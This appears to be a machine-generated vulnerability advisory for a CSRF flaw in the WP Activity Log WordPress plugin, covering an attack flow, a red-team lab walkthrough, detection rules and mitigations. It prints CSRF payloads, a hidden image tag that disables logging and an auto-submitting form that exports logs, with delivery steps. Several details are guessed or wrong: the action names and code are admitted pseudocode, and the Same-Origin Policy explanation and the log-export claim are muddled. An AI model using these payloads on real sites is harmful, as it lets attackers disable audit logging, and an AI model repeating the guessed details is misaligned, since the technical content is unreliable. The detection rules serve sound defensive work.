CVE-2026-65512

Executive Summary

Severity: Medium

This report details CVE-2026-65512, an unauthenticated Cross-Site Request Forgery (CSRF) vulnerability identified in the WP Activity Log plugin for WordPress, affecting versions up to and including 5.6.4. The vulnerability allows a remote, unauthenticated attacker to perform unauthorized actions on behalf of a logged-in administrator, such as modifying plugin settings or exporting logs, by tricking the administrator into clicking a crafted link or visiting a malicious page.

Business Impact: Organizations using WordPress with the WP Activity Log plugin are at risk. The primary threat is the compromise of audit log integrity and configuration, which could be used to hide malicious activity or disable logging. The likely attacker is a low-sophistication threat actor (e.g., script kiddie, spammer) seeking to cover their tracks or disrupt monitoring.

Urgency Assessment: The CVSS score of 5.4 (Medium) combined with an EPSS probability of 0.0% indicates that while the vulnerability is real, there is currently no evidence of active exploitation in the wild. The risk is moderate, requiring user interaction (UI:R) to be exploited. Organizations should prioritize patching during their next maintenance cycle.

Key Facts:

• Vendor: WP Activity Log
• Affected Versions: <= 5.6.4
• Patch Status: None available as of 2026-07-23.
• CISA KEV: Not listed.

CVSS Breakdown & Threat Level

Qualitative Severity Label: Medium

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

EPSS Interpretation: The EPSS probability of 0.0% means that as of the publication date, there is no observed exploitation in the wild. This is common for newly published CVEs. The probability is expected to increase if a proof-of-concept is released.

Historical Comparison: This CVE is similar to other CSRF vulnerabilities in WordPress plugins, such as CVE-2021-24498 (CSRF in WP Google Maps) and CVE-2023-23999 (CSRF in LearnPress). These vulnerabilities share the same CWE-352 classification and require user interaction to be exploited.

Temporal & Environmental Considerations: The lack of a patch increases the temporal risk. Organizations with highly privileged admin accounts or those in high-risk industries (e.g., finance, healthcare) should consider the environmental score higher and apply immediate compensating controls.

Technical Deep Dive & Attack Mechanics

Root Cause Analysis: The WP Activity Log plugin fails to implement a nonce (number used once) or other CSRF token on sensitive administrative actions. This allows an attacker to forge requests that appear to come from a legitimate administrator.

Step-by-Step Attack Flow:

1. Reconnaissance: The attacker identifies a WordPress site running WP Activity Log <= 5.6.4. They identify the URL for a sensitive action, such as disabling logging: https://target-site.com/wp-admin/admin-post.php?action=wsal_disable_logging.
2. Crafting the Payload: The attacker creates a malicious HTML page or email containing an auto-submitting form or an <img> tag that points to the sensitive URL.

   <html>
   <body>
   <h1>Click here for a free gift!</h1>
   <img src="https://target-site.com/wp-admin/admin-post.php?action=wsal_disable_logging" style="display:none;" />
   </body>
   </html>
   

3. Delivery: The attacker lures a logged-in WordPress administrator to visit the malicious page (e.g., via a phishing email, forum post, or compromised ad).
4. Exploitation: The administrator's browser sends the forged request to the WordPress site, including the administrator's session cookies. The WP Activity Log plugin processes the request without verifying the origin, thus disabling logging.
5. Post-Exploitation: With logging disabled, the attacker can perform other malicious actions (e.g., creating new admin accounts, injecting malicious code) without being recorded.

Attack Surface:

• Interface: WordPress admin panel (/wp-admin/admin-post.php and /wp-admin/admin-ajax.php).
• Protocol: HTTP/HTTPS.
• Pre-conditions: The attacker must know the URL of a sensitive action. The victim must be logged in as an administrator.

Why Standard Defenses May Fail:

• Same-Origin Policy (SOP): SOP does not prevent CSRF attacks because the forged request is sent from the victim's browser to the target site, which is the same origin.
• Referer Header Checking: Some plugins may not check the Referer header, or the attacker can craft a page that sends a valid referer.

Vulnerable vs. Patched Code Analysis

Note: As no patch is available, this analysis is based on the expected fix for a CSRF vulnerability.

Vulnerable Code (Pseudocode):

// In wsal-ajax.php or similar
add_action('wp_ajax_wsal_disable_logging', 'wsal_disable_logging_handler');

function wsal_disable_logging_handler() {
    // No nonce verification
    update_option('wsal_logging_enabled', 0);
    wp_die('Logging disabled.');
}

Patched Code (Expected):

// In wsal-ajax.php or similar
add_action('wp_ajax_wsal_disable_logging', 'wsal_disable_logging_handler');

function wsal_disable_logging_handler() {
    // Nonce verification added
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wsal_disable_logging_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    update_option('wsal_logging_enabled', 0);
    wp_die('Logging disabled.');
}

Fix Sufficiency: Adding a nonce check is the standard and sufficient fix for CSRF. The nonce must be generated and included in the form or AJAX request by the plugin's legitimate UI.

Regression Considerations: The patch should not introduce regressions as long as all legitimate admin actions are updated to include and verify the nonce. Developers must ensure the nonce is correctly passed in all AJAX and form submissions.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-23T11:19:09.110Z
• Estimated Discovery: Unknown. The vulnerability was likely discovered through internal research or a bug bounty program.
• Disclosure Process: The CVE was published by the CNA (likely MITRE or the vendor). No details on vendor coordination are available.
• Known Exploitation in the Wild: No known active exploitation as of 2026-07-23.
• CISA KEV: Not listed.

Threat Intelligence Context

Threat Actor Profile: CSRF vulnerabilities in WordPress plugins are commonly exploited by:

• Spammers: To disable logging before injecting spam content.
• SEO Poisoners: To modify site settings for black-hat SEO.
• Script Kiddies: Using automated scanners to find and exploit vulnerable sites.

Attack Campaign Context: This CVE is not currently associated with any known broader campaigns.

Geographic Targeting: No specific geographic targeting is expected. The vulnerability affects any WordPress site using the plugin globally.

Industry Verticals Most at Risk: Any organization using WordPress for their website, including:

• Small and Medium Businesses (SMBs)
• E-commerce sites
• Blogs and content publishers
• Non-profits

Historical Connection: This vulnerability is part of a long history of CSRF flaws in WordPress plugins, which are consistently among the most common vulnerabilities reported.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: Use a local Docker environment with WordPress and the WP Activity Log plugin.

   docker run --name wp-csrf -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress -p 8080:80 -d wordpress:latest
   

2. Install Plugin: Download WP Activity Log version 5.6.4 and install it in the WordPress admin panel.
3. Create Admin Account: Create an administrator user for the victim.

Exploitation Walkthrough:

1. Identify Action: Log in as admin and navigate to the WP Activity Log settings. Identify a sensitive action, e.g., "Export Logs" which might use a URL like /wp-admin/admin-post.php?action=wsal_export_logs.
2. Craft Payload: Create an HTML file (csrf.html) with an auto-submitting form targeting the identified action.

   <html>
   <body>
   <form action="http://localhost:8080/wp-admin/admin-post.php" method="POST">
       <input type="hidden" name="action" value="wsal_export_logs" />
       <input type="hidden" name="format" value="csv" />
       <input type="submit" value="Click here" />
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

3. Deliver Payload: Host the HTML file on a local server (python3 -m http.server 9999). Send the link to the victim admin.
4. Trigger Exploit: The victim admin (logged into WordPress) clicks the link. The form auto-submits, and the logs are exported to the attacker's server (if the export is sent to a URL the attacker controls) or the action is performed.

Expected Output: The attacker successfully triggers the admin action without authentication. In this case, the logs are exported.

Post-Exploitation: The attacker can now:

• Disable logging.
• Change notification email addresses.
• Delete log entries.
• Modify plugin settings to hide future malicious activity.

Blue Team Section

Detection:

• Log Entries: Look for admin-post.php or admin-ajax.php requests with unexpected Referer headers or missing _wpnonce parameters.
• Network Traffic: Monitor for HTTP requests to /wp-admin/admin-post.php with a Referer header that does not match the site's domain.
• Endpoint Indicators: Check for unexpected changes to the wsal_* options in the WordPress database.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Detection Engineering

YARA Rule

rule CVE-2026-65512_CSRF_Exploit {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2026-65512 in WP Activity Log"
        author = "Valters IT Hub"
        date = "2026-07-23"
        reference = "https://www.valtersit.com/cve/cve-2026-65512"
    strings:
        $action_disable = "action=wsal_disable_logging" ascii wide nocase
        $action_export = "action=wsal_export_logs" ascii wide nocase
        $admin_post = "/wp-admin/admin-post.php" ascii wide nocase
    condition:
        any of ($action_disable, $action_export) and $admin_post
}

Sigma Rule (SIEM)

title: CVE-2026-65512 WP Activity Log CSRF Exploitation
id: 7bc16de5-e3f8-40ac-b9e8-9888c6b57b66
status: experimental
description: Detects HTTP requests to WP Activity Log admin actions without a valid nonce, indicating a CSRF attempt.
author: Valters IT Hub
date: 2026-07-23
references:
    - https://www.valtersit.com/cve/cve-2026-65512
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs for WordPress sites'
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'action=wsal_disable_logging'
            - 'action=wsal_export_logs'
            - 'action=wsal_delete_logs'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions where the nonce is passed via a different parameter (e.g., `_ajax_nonce`). Tune based on plugin version.
level: high

Suricata IDS Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-65512 WP Activity Log CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=wsal_"; http_uri; pcre:"/action=wsal_(disable_logging|export_logs|delete_logs)/Ui"; reference:cve,2026-65512; classtype:attempted-admin; sid:1000001; rev:1;)

Elastic (EQL) Query

sequence by host.hostname
  [network where event.type == "connection" and destination.port == 80 and
   network.protocol == "http" and
   url.path == "/wp-admin/admin-post.php" and
   url.query : "*action=wsal_*" and
   not url.query : "*_wpnonce*"]

Splunk SPL Query

index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-post.php" uri_query IN ("*action=wsal_disable_logging*", "*action=wsal_export_logs*", "*action=wsal_delete_logs*")
| search NOT uri_query="*_wpnonce*"
| stats count by src_ip, uri, http_referrer, _time
| sort - _time

Wazuh Rule

<group name="wordpress,csrf,">
  <rule id="100001" level="10">
    <if_sid>31151</if_sid>
    <field name="url">/wp-admin/admin-post\.php</field>
    <field name="data" type="pcre2">action=wsal_(disable_logging|export_logs|delete_logs)</field>
    <description>CVE-2026-65512: Possible CSRF attack on WP Activity Log plugin.</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

• No Patch Available: As no patch exists, apply compensating controls.
• Network-Level Mitigation: Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-post.php that do not contain a valid _wpnonce parameter.
• Authentication Hardening: Enforce the use of strong, unique passwords for all administrator accounts. Implement Multi-Factor Authentication (MFA) for all admin users to reduce the impact of a successful CSRF attack.
• User Education: Warn administrators about phishing attacks and the risk of clicking suspicious links while logged into the WordPress admin panel.

Short-term (1-7 days)

• Configuration Hardening: Disable the WP Activity Log plugin if it is not critical to operations.
• Monitoring Implementation: Deploy the detection rules provided in this report to monitor for exploitation attempts.
• Vulnerability Scanning: Use a WordPress security scanner (e.g., WPScan) to confirm the plugin version.

  wpscan --url https://target-site.com --enumerate vp
  

Long-term

• Architecture Changes: Consider using a dedicated, out-of-band logging solution that is not part of the WordPress application.
• Security Control Improvements: Implement Content Security Policy (CSP) headers to help mitigate CSRF attacks.
• Developer Training: Ensure developers are trained on secure coding practices, specifically the importance of nonce verification for all state-changing actions.

Validation: To confirm the patch is applied, check the plugin version in the WordPress admin panel (Plugins > Installed Plugins). The version should be greater than 5.6.4. You can also verify by checking if a nonce is required for sensitive actions by inspecting the network traffic.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-65512
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-65512
• Vendor advisory: See vendor security page
• OSV: https://osv.dev/vulnerability/CVE-2026-65512 (if applicable)
• Related CWE: https://cwe.mitre.org/data/definitions/352.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-23 | https://www.valtersit.com/cve/cve-2026-65512